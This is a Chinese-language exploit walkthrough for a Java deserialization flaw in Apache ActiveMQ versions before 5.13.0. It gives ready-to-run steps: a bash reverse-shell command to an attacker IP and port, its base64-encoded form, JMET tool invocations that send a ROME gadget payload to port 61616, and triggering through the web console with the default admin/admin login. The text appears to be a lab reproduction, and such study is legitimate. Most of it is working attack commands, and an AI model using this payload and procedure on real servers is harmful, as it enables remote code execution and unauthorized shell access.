漏洞背景
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
影响范围
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞利用过程
- 构造(可以使用ysoserial)可执行命令的序列化对象
- 作为一个消息,发送给目标61616端口
- 访问web管理页面,读取消息,触发漏洞
漏洞复现
一、首先攻击机开好端口监听
二、然后将需要在靶机内运行的反弹shell命令序列化
/bin/bash -i >& /dev/tcp/192.168.30.128/8888 0>&1
可以去到这个网站序列化shell命令http://www.jackson-t.ca/runtime-exec-payloads.html
得到bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzAuMTI4Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
三、然后使用漏洞利用工具JMET
下载地址:https://github.com/matthiaskaiser/jmet/releases
试例:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
更改为反弹shell命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzAuMTI4Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.30.128 61616
四、此时会给目标ActiveMQ添加一个名为event的队列,自行访问http://192.168.30.128:8161/admin/browse.jsp?JMSDestination=event
默认账户密码都为admin
点击查看该信息,返回攻击机查看nc连接,已经能看到反shell了